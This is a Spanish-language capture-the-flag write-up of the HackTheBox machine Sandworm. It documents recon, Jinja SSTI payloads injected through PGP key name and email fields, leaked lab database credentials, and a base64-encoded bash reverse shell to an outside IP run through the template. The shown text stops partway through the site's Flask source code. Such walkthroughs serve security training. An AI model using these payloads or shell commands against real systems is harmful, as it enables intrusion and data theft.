This page looks best with JavaScript enabled

HackTheBox - Sandworm

 •  ✍️ sckull

En Sandworm descubrimos una vulnerabilidad SSTI en Flask lo que nos permitio obtener credenciales y acceso a la maquina. Tras manipular codigo rust ejecutado por un cronjob logramos el acceso a un siguiente usuario. Finalmente para escalar privilegios explotamos una vulnerabilidad presente en firejail.

Nombre Sandworm box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.218
Maker

C4rm3l0

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http/s (80, 445) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.93 scan initiated Sat Jun 17 15:02:28 2023 as: nmap -p22,80,443 -sV -sC -oN nmap_scan 10.10.11.218
Nmap scan report for 10.10.11.218
Host is up (0.086s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 17 15:02:46 2023 -- 1 IP address (1 host up) scanned in 18.08 seconds

Web Site

El sitio web nos redirige al dominio ssa.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/sandworm ❯ curl -sI 10.10.11.218
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 17 Jun 2023 19:03:20 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://ssa.htb/

 π ~/htb/sandworm ❯

Observamos informacion del sitio, en el footer indica que es una aplicacion escrita en Flask.

image

En /contact encontramos un formulario en el que indica que los mensajes enviados deben de estar encriptados, tambien, nos muestra una direccion sobre el uso de PGP.
image

Site PGP

En /guide encontramos multiples opciones; desencriptar, encriptar y verificar firma, y, al final encontramos un ejemplo de un mensaje firmado. Las dos primeras opciones utilizan la clave publica que encontramos en /pgp.

Utilizando la clave publica que ofrece el sitio, utilizamos la opcion de encriptar, vemos la salida.

image

Con la opcion de desencriptar observamos el mensaje desencriptado.

image

La clave privada no esta disponible en el sitio por lo que para verificar la firma es necesario crear una llave propia. Utilizamos el sitio PGP Tool para crear nuestra llave rellenando los valores necesarios.

image

Utilizamos la llave privada para firmar un mensaje.

image

Utilizando la llave publica y el mensaje firmado verificamos la firma en el sitio.

Observamos que la firma es valida, y se muestra informacion de la verificacion.

image

En la salida se muestran los valores del nombre y correo, estos dos valores son los unicos valores manipulables del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Signature is valid!

[GNUPG:] NEWSIG
gpg: Signature made Thu 22 Jun 2023 03:04:13 AM UTC
gpg:                using RSA key 7E4D0FEFFCE38AFB
[GNUPG:] KEY_CONSIDERED BFB2E8DA868227EECA2A1161D51987F8237A8CE3 0
[GNUPG:] SIG_ID Cp8SLH7GCUr3U1HPkOeX6zLqkfU 2023-06-22 1687403053
[GNUPG:] KEY_CONSIDERED BFB2E8DA868227EECA2A1161D51987F8237A8CE3 0
[GNUPG:] GOODSIG 7E4D0FEFFCE38AFB sckull <sckull@ssa.htb>
gpg: Good signature from "sckull <sckull@ssa.htb>" [unknown]
[GNUPG:] VALIDSIG F34DFC089B0D560D55EFB3C07E4D0FEFFCE38AFB 2023-06-22 1687403053 0 4 0 1 10 00 BFB2E8DA868227EECA2A1161D51987F8237A8CE3
[GNUPG:] KEY_CONSIDERED BFB2E8DA868227EECA2A1161D51987F8237A8CE3 0
[GNUPG:] TRUST_UNDEFINED 0 pgp
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: BFB2 E8DA 8682 27EE CA2A  1161 D519 87F8 237A 8CE3
     Subkey fingerprint: F34D FC08 9B0D 560D 55EF  B3C0 7E4D 0FEF FCE3 8AFB

SSTI - Flask

Creamos una llave propia con la configuracion dentro del archivo config.txt utilizando pgp ya que el sitio no nos permite manipular el valor del email.

1
2
3
4
5
6
7
8
 π ~/htb/sandworm ❯ cat config.txt
Key-Type: RSA
Key-Length: 1024
Name-Real: myname
Name-Email: sckull@ssa.htb
Passphrase: sckullssa
Expire-Date: 0
 π ~/htb/sandworm ❯

Utilizamos la clave para firmar el mensaje en msg.txt el cual se guarda en sign_msg.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/sandworm ❯ echo "Secret spy agency." > msg.txt
 π ~/htb/sandworm ❯ gpg --clearsign -u 759B4B64354E3F4A8742AB603229FE2725228043 --passphrase "sckullssa" -o sign_msg.txt msg.txt
 π ~/htb/sandworm ❯ cat sign_msg.txt
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Secret spy agency.
-----BEGIN PGP SIGNATURE-----

iLMEAQEKAB0WIQR1m0tkNU4/SodCq2AyKf4nJSKAQwUCZJO/awAKCRAyKf4nJSKA
Q/mPA/96LHPI6xgWVIsTLiAjfnklF6Tbx2r3p0epriNhzXSOAzyELBwrA2Ndc+3M
JQ0STE35NF7OVGgsGxlGP252nWmMkT4teRb5iS0TTU04rD6JRfQgKwHwUyUqA6K9
bLPlVl6kQs+kw8wIqmTh3Owi6STN7S24HY2mnAhWPxl9k9ZKsQ==
=giJp
-----END PGP SIGNATURE-----
 π ~/htb/sandworm ❯ 

Mostramos nuestra clave publica.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/sandworm ❯ gpg --armor --export 759B4B64354E3F4A8742AB603229FE2725228043
-----BEGIN PGP PUBLIC KEY BLOCK-----

mI0EZJO+1QEEAOoYSV2EP6NwWgtgPO4F1VDaGnExso8OBigp5HlDrCq5TFzBPUIO
FNJdsChkCoWaSY2enF58dk3uagqoGXOWBFLcuCedsCYkVCbHVqkjkFiC1wpcQKng
fw6G/U3Tove1/zIo5uXPOf+stIXh3mgvT3y6Ldf4Dcg4XRUUoTus0S27ABEBAAG0
F215bmFtZSA8c2NrdWxsQHNzYS5odGI+iM4EEwEKADgWIQR1m0tkNU4/SodCq2Ay
Kf4nJSKAQwUCZJO+1QIbLwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRAyKf4n
JSKAQ4/yA/0Siq1I/I/4u0cSFAs9twPxNNNLk8RegpfAK/fMc7Lto6rx8+BvvGce
j3UAUVd+K1lWe8vUxkdvJeqXvjbZKL3ZkLmDQlFy+yaNkw8W9VWtOBVqNBD0y+8D
0EQlwciaqsKZQLezVz3wR5G043Ukji4Tjv23FRm0nUFq+wK5aWNQ7g==
=Hnjq
-----END PGP PUBLIC KEY BLOCK-----
 π ~/htb/sandworm ❯

Y verificamos en el sitio el cual se muestra como valido.

image

Payloads

Como sabemos el sitio esta escrito en python con flask, utilizamos distintos payloads para verificar si en el valor de email o name existe algun tipo de vulnerabilidad del tipo SSTI.

1
2
3
4
5
6
Key-Type: RSA
Key-Length: 1024
Name-Real: name ${7*7}, ${{7*7}} , {{7*7}} name
Name-Email: email ${7*7}, ${{7*7}}, {{7*7}} email
Passphrase: sckullssa
Expire-Date: 0

Firmamos nuestro mensaje y “exportamos” nuestra clave publica.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/sandworm ❯ cat sign_msg.txt
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Secret spy agency.
-----BEGIN PGP SIGNATURE-----

iLMEAQEKAB0WIQTzl/GKf3o2orQZr9BH69SGquKrsQUCZJPCoAAKCRBH69SGquKr
sUKaBACxK81pp5UsKvOy6XZpzx3IZykQy9WY6WMCCcFcHMn3nTK+q6IA3WiFe5l1
853t1TrKDY4DiqM87QraaOJFHrrbE98kWY2ZS4KQw+Ub12UFvXOSApVxNuuJgmam
kyKmXZCpVR9uQeaZp1UiCDCi6G7AJoUAQPXRrb4ZlntM+/Ry5g==
=3pvN
-----END PGP SIGNATURE-----
 π ~/htb/sandworm ❯ gpg --armor --export F397F18A7F7A36A2B419AFD047EBD486AAE2ABB1
-----BEGIN PGP PUBLIC KEY BLOCK-----

mI0EZJPCgAEEALmBRK2tn/y+AT+X+PFQSVPVYWu6wAbuaJhR7WdAoY3wyljsLL8n
DjaQu+zNwDLFKBJZqNznFg1DoLDZQ6JbKsWvhv2RFyMk+Yr0iEkW4bx9zVT1q7Wt
T2vBtKETkykbbGVPQc8j5nfdi9crjhX0gonjDZBmuYjBiRoIPtxkOyLZABEBAAG0
TG5hbWUgJHs3Kjd9LCAke3s3Kjd9fSAsIHt7Nyo3fX0gbmFtZSA8ZW1haWwgJHs3
Kjd9LCAke3s3Kjd9fSwge3s3Kjd9fSBlbWFpbD6IzgQTAQoAOBYhBPOX8Yp/ejai
tBmv0Efr1Iaq4quxBQJkk8KAAhsvBQsJCAcCBhUKCQgLAgQWAgMBAh4BAheAAAoJ
EEfr1Iaq4quxU+oD/0Jd5kSVRdYzuisr/l8pGpwnddrvqm1krFlBRiA6Pd2CPa8f
LQpfMED0MnTJwcyYrktcpuq89LL/Y4SatFCGKwdBy5+8GtrfTJbZb9eFVTH7qGxf
lPuDX8jsU0uL9154TWuTqAhG5ECeKBSLWCTToWhg5v+5Hkt9RQeLnqbqAvs3
=ki3J
-----END PGP PUBLIC KEY BLOCK-----
 π ~/htb/sandworm ❯

Observamos en el resultado de verificacion que el tercer payload es funcional y que la vulnerabilidad se encuentra tanto en name y email.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Signature is valid!

[GNUPG:] NEWSIG
gpg: Signature made Thu 22 Jun 2023 03:40:16 AM UTC
gpg:                using RSA key F397F18A7F7A36A2B419AFD047EBD486AAE2ABB1
[GNUPG:] KEY_CONSIDERED F397F18A7F7A36A2B419AFD047EBD486AAE2ABB1 0
[GNUPG:] SIG_ID LuzaIWOndkhBB0zBseElFlxcdBE 2023-06-22 1687405216
[GNUPG:] KEY_CONSIDERED F397F18A7F7A36A2B419AFD047EBD486AAE2ABB1 0
[GNUPG:] GOODSIG 47EBD486AAE2ABB1 name ${7*7}, $49 , 49 name <email ${7*7}, $49, 49 email>
gpg: Good signature from "name ${7*7}, $49 , 49 name <email ${7*7}, $49, 49 email>" [unknown]
[GNUPG:] VALIDSIG F397F18A7F7A36A2B419AFD047EBD486AAE2ABB1 2023-06-22 1687405216 0 4 0 1 10 01 F397F18A7F7A36A2B419AFD047EBD486AAE2ABB1
[GNUPG:] TRUST_UNDEFINED 0 pgp
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: F397 F18A 7F7A 36A2 B419  AFD0 47EB D486 AAE2 ABB1

Python GNUPG

Ya que estariamos probando distintos payloads para verificar hasta donde podemos llegar con esta vulnerabilidad creamos un script que realice los pasos anteriores utilizando la libreria python-gnupg.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 π ~/htb/sandworm ❯ python ssa_gpg.py '{{7 * " sckull " }}'
>>> Key Input <<<
Key-Type: RSA
Name-Real: {{7 * " sckull " }}
Name-Email: sckull@ssa.htb
Key-Length: 1024
Passphrase: sckullssa
%commit

>>> Signed Message <<<
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Secret Spy Agency is always watching.

-----BEGIN PGP SIGNATURE-----

iLMEAQEKAB0WIQSoo1TSRGRKLA81iVVV3soAEUeg7AUCZJPFcgAKCRBV3soAEUeg
7L9+A/9ltgfPC/+GZrhROXw7Vl3aVvyttfrojud5aM/MS16UNqce4k092qDetf5P
u0Tj2K85qQ4EpBMZplmC5Iz7MAyRXsYyRXKpi+I2kRZOfi7CWDcuVV5gr2+AhIy7
ftsPT9ad2/F+iUJspCfc86Mgf6QPO7zj+lW+P2zMZXAW/FWHdA==
=o4Wi
-----END PGP SIGNATURE-----

>>> Public Key <<<
-----BEGIN PGP PUBLIC KEY BLOCK-----

mI0EZJPFcQEEAJQP/tkE3+hQIx/Y0TIrjqjjYbpDoUTphO8MB0dfS5Xwv+ZOXL+u
X67y+ydXcAkYarkooRkWaC3YmSUHn4jobhOCqp5RSeOJjVWqW234c/Mv86pWRzPy
6Ai+qv4HN9Sr9PgBLE8Fr0ZlHj9Ixe4k3Vm6L6D952a6b0isJT48TU1nABEBAAG0
JHt7NyAqICIgc2NrdWxsICIgfX0gPHNja3VsbEBzc2EuaHRiPojOBBMBCgA4FiEE
qKNU0kRkSiwPNYlVVd7KABFHoOwFAmSTxXECGy8FCwkIBwIGFQoJCAsCBBYCAwEC
HgECF4AACgkQVd7KABFHoOzfeAQAjDgu2O2BB8REcr5pFBw1wFGOaioBhQ7tMAxg
dXzMA3oG3eSCUiXT2CTntNN0HIqs3xmQVP0d1V1OMXUHK+74acIofUMZv5KYoZ4a
EVHsD0kr5M18tn18ItVKGVjM393Z9DSuzApxv9qGN1rfObc7otLyUmXGuCwmO7vm
vg9sVso=
=AbKj
-----END PGP PUBLIC KEY BLOCK-----

>>> Sending Public Key and Signed Message <<<
Signature is valid!

[GNUPG:] NEWSIG
gpg: Signature made Thu 22 Jun 2023 03:52:18 AM UTC
gpg:                using RSA key A8A354D244644A2C0F35895555DECA001147A0EC
[GNUPG:] KEY_CONSIDERED A8A354D244644A2C0F35895555DECA001147A0EC 0
[GNUPG:] SIG_ID oIEIcgMFW8XTdcrmswziNz1cnys 2023-06-22 1687405938
[GNUPG:] KEY_CONSIDERED A8A354D244644A2C0F35895555DECA001147A0EC 0
[GNUPG:] GOODSIG 55DECA001147A0EC  sckull  sckull  sckull  sckull  sckull  sckull  sckull  <sckull@ssa.htb>
gpg: Good signature from " sckull  sckull  sckull  sckull  sckull  sckull  sckull  <sckull@ssa.htb>" [unknown]
[GNUPG:] VALIDSIG A8A354D244644A2C0F35895555DECA001147A0EC 2023-06-22 1687405938 0 4 0 1 10 01 A8A354D244644A2C0F35895555DECA001147A0EC
[GNUPG:] TRUST_UNDEFINED 0 pgp
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: A8A3 54D2 4464 4A2C 0F35  8955 55DE CA00 1147 A0EC
 π ~/htb/sandworm ❯

El payload {{ config.items() }} nos dio informacion sobre la aplicacion, observamos credenciales de la base e datos MySQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
>>> Sending Public Key and Signed Message <<<
Signature is valid!

[GNUPG:] NEWSIG
gpg: Signature made Thu 22 Jun 2023 04:02:06 AM UTC
gpg:                using RSA key 46CFE2E774BB1D65F4FACE0BB6CE6FB90C69F6E7
[GNUPG:] KEY_CONSIDERED 46CFE2E774BB1D65F4FACE0BB6CE6FB90C69F6E7 0
[GNUPG:] SIG_ID /Y0K2cMZ48+eIAHeQVSOTa6KbkA 2023-06-22 1687406526
[GNUPG:] KEY_CONSIDERED 46CFE2E774BB1D65F4FACE0BB6CE6FB90C69F6E7 0
[GNUPG:] GOODSIG B6CE6FB90C69F6E7 dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', '91668c1bc67132e3dcfb5b1a3e0c5c21'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', None), ('JSON_SORT_KEYS', None), ('JSONIFY_PRETTYPRINT_REGULAR', None), ('JSONIFY_MIMETYPE', None), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('SQLALCHEMY_DATABASE_URI', 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA'), ('SQLALCHEMY_ENGINE_OPTIONS', {}), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_BINDS', {}), ('SQLALCHEMY_RECORD_QUERIES', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', False)]) <sckull@ssa.htb>
gpg: Good signature from "dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', '91668c1bc67132e3dcfb5b1a3e0c5c21'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', None), ('JSON_SORT_KEYS', None), ('JSONIFY_PRETTYPRINT_REGULAR', None), ('JSONIFY_MIMETYPE', None), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('SQLALCHEMY_DATABASE_URI', 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA'), ('SQLALCHEMY_ENGINE_OPTIONS', {}), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_BINDS', {}), ('SQLALCHEMY_RECORD_QUERIES', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', False)]) <sckull@ssa.htb>" [unknown]
[GNUPG:] VALIDSIG 46CFE2E774BB1D65F4FACE0BB6CE6FB90C69F6E7 2023-06-22 1687406526 0 4 0 1 10 01 46CFE2E774BB1D65F4FACE0BB6CE6FB90C69F6E7
[GNUPG:] TRUST_UNDEFINED 0 pgp
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 46CF E2E7 74BB 1D65 F4FA  CE0B B6CE 6FB9 0C69 F6E7

User - SiletObserver

Uno de los payloads nos permitio ejecutar comandos dentro de la maquina, vemos que el usuario es atlas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 π ~/htb/sandworm ❯ python ssa_gpg.py "{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}"
>>> Key Input <<<
Key-Type: RSA
Name-Real: {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
Name-Email: sckull@ssa.htb
Key-Length: 1024
Passphrase: sckullssa
%commit

[ ... ]

>>> Sending Public Key and Signed Message <<<
Signature is valid!

[GNUPG:] NEWSIG
gpg: Signature made Thu 22 Jun 2023 04:04:22 AM UTC
gpg:                using RSA key 979D1612C4B6EE436FC32AF83B2579DFEACF62D0
[GNUPG:] KEY_CONSIDERED 979D1612C4B6EE436FC32AF83B2579DFEACF62D0 0
[GNUPG:] SIG_ID qoCAWUcibPotIttFh18qd5LtADg 2023-06-22 1687406662
[GNUPG:] KEY_CONSIDERED 979D1612C4B6EE436FC32AF83B2579DFEACF62D0 0
[GNUPG:] GOODSIG 3B2579DFEACF62D0 uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
 <sckull@ssa.htb>
gpg: Good signature from "uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
 <sckull@ssa.htb>" [unknown]
[GNUPG:] VALIDSIG 979D1612C4B6EE436FC32AF83B2579DFEACF62D0 2023-06-22 1687406662 0 4 0 1 10 01 979D1612C4B6EE436FC32AF83B2579DFEACF62D0
[GNUPG:] TRUST_UNDEFINED 0 pgp
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 979D 1612 C4B6 EE43 6FC3  2AF8 3B25 79DF EACF 62D0
 π ~/htb/sandworm ❯ 

Creamos una shell inversa para ejecutarla dentro de la maquina.

1
2
3
 π ~/htb/sandworm ❯ echo -n "bash -i >& /dev/tcp/10.10.14.184/7878 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODQvNzg3OCAwPiYx
 π ~/htb/sandworm ❯

La agregamos en nuestro payload.

1
{{request.application.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODQvNzg3OCAwPiYx | base64 -d | bash ').read()}}

Limited Shell - Atlas

Sin embargo tras obtener una shell como atlas observamos que la shell esta limitada a ciertos comandos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 π ~/htb/sandworm ❯ rlwrap nc -lvp 7878
listening on [any] 7878 ...
connect to [10.10.14.184] from ssa.htb [10.10.11.218] 38384
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ whoami;id;pwd
whoami;id;pwd
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
/var/www/html/SSA
atlas@sandworm:/var/www/html/SSA$ which python
which python
Could not find command-not-found database. Run 'sudo apt update' to populate it.
which: command not found
atlas@sandworm:/var/www/html/SSA$ which python3
which python3
Could not find command-not-found database. Run 'sudo apt update' to populate it.
which: command not found
atlas@sandworm:/var/www/html/SSA$

Explorando los directorios encontramos el codigo fuente de la aplicacion web.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
# /var/www/html/SSA/SSA$ cat app.py
from flask import Flask, render_template, Response, flash, request, Blueprint, redirect, flash, url_for, render_template_string, jsonify
from flask_login import login_required, login_user, logout_user
from werkzeug.security import check_password_hash
import hashlib
from . import db
import os
from datetime import datetime
import gnupg
from SSA.models import User

main = Blueprint('main', __name__)

gpg = gnupg.GPG(gnupghome='/home/atlas/.gnupg', options=['--ignore-time-conflict'])

@main.route("/")
def home():
    return render_template("index.html", name="home")

@main.route("/about")
def about():
    return render_template("about.html", name="about")

@main.route("/contact", methods=('GET', 'POST',))
def contact():
    if request.method == 'GET':
        return render_template("contact.html", name="contact")
    tip = request.form['encrypted_text']
    if not validate(tip):
        return render_template("contact.html", error_msg="Message is not PGP-encrypted.")

    msg = gpg.decrypt(tip, passphrase='$M1DGu4rD$')

    if msg.data == b'':
        msg = 'Message was encrypted with an unknown PGP key.'
    else:
        tip = msg.data.decode('utf-8')
        msg = "Thank you for your submission."

    save(tip, request.environ.get('HTTP_X_REAL_IP', request.remote_addr))
    return render_template("contact.html", error_msg=msg)


@main.route("/guide", methods=('GET', 'POST'))
def guide():
    if request.method == 'GET':
        return render_template("study.html", name="guide")

    elif request.method == 'POST':
        encrypted = request.form['encrypted_text']

        if not validate(encrypted):
            pass

        msg = gpg.decrypt(encrypted, passphrase='$M1DGu4rD$')

        if msg.data == b'':
            msg = 'Message was encrypted with an unknown PGP key.'
        else:
            msg = msg.data.decode('utf-8')

        return render_template("study.html", name="guide", dec_msg=msg)

@main.route("/guide/encrypt", methods=('GET', 'POST',))
def encrypt():
    if request.method == 'GET':
        return render_template("study.html")

    pubkey = request.form['pub_key']

    import_result = gpg.import_keys(pubkey)

    if import_result.count == 0:
        return render_template("study.html", error_msg_pub="Invalid key format.")

    fp = import_result.fingerprints[0]
    now = datetime.now().strftime("%m/%d/%Y-%H;%M;%S")
    key_uid = ', '.join([key['uids'] for key in gpg.list_keys() if key['fingerprint'] == fp][0])
    message = f"""This is an encrypted message for {key_uid}.\n\nIf you can read this, it means you successfully used your private PGP key to decrypt a message meant for you and only you.\n\nCongratulations! Feel free to keep practicing, and make sure you also know how to encrypt, sign, and verify messages to make your repertoire complete.\n\nSSA: {now}"""
    enc_msg = gpg.encrypt(message, recipients=fp, always_trust=True)

    if not enc_msg.ok:
        return render_template("study.html", error_msg="Something went wrong.")

    return render_template("study.html", enc_msg=enc_msg)

@main.route("/guide/verify", methods=('GET', 'POST',))
def verify():
    if request.method == 'GET':
        return render_template("study.html")

    signed = request.form['signed_text']
    pubkey = request.form['public_key']

    if signed and pubkey:
        import_result = gpg.import_keys(pubkey)
        if import_result.count == 0:
            return render_template("study.html", error_msg_key="Key import failed. Make sure your key is properly formatted.")
        else:
            fp = import_result.fingerprints
            verified = gpg.verify(signed)
            if verified.status == 'signature valid':
                msg = f"Signature is valid!\n\n{verified.stderr}"
            else:
                msg = "Make sure your signed message is properly formatted."

            # Cleanup - delete key
            gpg.delete_keys(fp)
            return render_template("study.html", error_msg_sig=msg)

    return render_template("study.html", error_msg_key="Something went wrong.")

@main.route("/process", methods=("POST",))
def process_form():
    signed = request.form['signed_text']
    pubkey = request.form['public_key']

    if signed and pubkey:
        import_result = gpg.import_keys(pubkey)
        if import_result.count == 0:
            msg = "Key import failed. Make sure your key is properly formatted."
        else:
            fp = import_result.fingerprints
            verified = gpg.verify(signed)
            if verified.status == 'signature valid':
                msg = f"Signature is valid!\n\n{verified.stderr}"
            else:
                msg = "Make sure your signed message is properly formatted."
            # Cleanup - delete key
            gpg.delete_keys(fp)

    return render_template_string(msg)


@main.route("/pgp")
def pgp():
    return render_template("pgp.html", name="pgp")

@main.route("/admin")
@login_required
def admin():
    entries = []
    with open('SSA/submissions/log', 'r') as f:
        for i, line in enumerate(f):
            if i <= 7:
                continue
            ip, fname, dtime = line.strip().split(":")
            entries.append({
                'id': i-7,
                'ip': ip,
                'fname': fname,
                'dtime': dtime
                })

    return render_template("admin.html", name="admin", entries=entries)

@main.route("/view", methods=('GET', 'POST',))
@login_required
def view():
    fname = request.args.get('fname')

    try:
        if not fname.endswith('.txt'):
            flask.abort(400)
        with open(f"SSA/submissions/{fname}", 'r') as f:
            msg = f.read()
    except Exception as _:
        msg = 'Something went wrong.'

    return render_template("view.html", name="view", dec_msg=msg)

@main.route("/login", methods=('GET', 'POST'))
def login():
    if request.method == 'GET':
        return render_template("login.html", name="login")

    uname = request.form['username']
    pwd = request.form['password']

    user = User.query.filter_by(username=uname).first()

    if not user or not check_password_hash(user.password, pwd):
        flash('Invalid credentials.')
        return redirect(url_for('main.login'))

    login_user(user, remember=True)

    return redirect(url_for('main.admin'))

@main.route("/logout")
@login_required
def logout():
    logout_user()
    return redirect(url_for('main.home'))

def validate(msg):
    if msg[:27] == '-----BEGIN PGP MESSAGE-----' and msg[-27:].strip() == '-----END PGP MESSAGE-----':
        return True
    return False

def save(msg, ip):
    fname = os.urandom(16).hex() + ".txt"
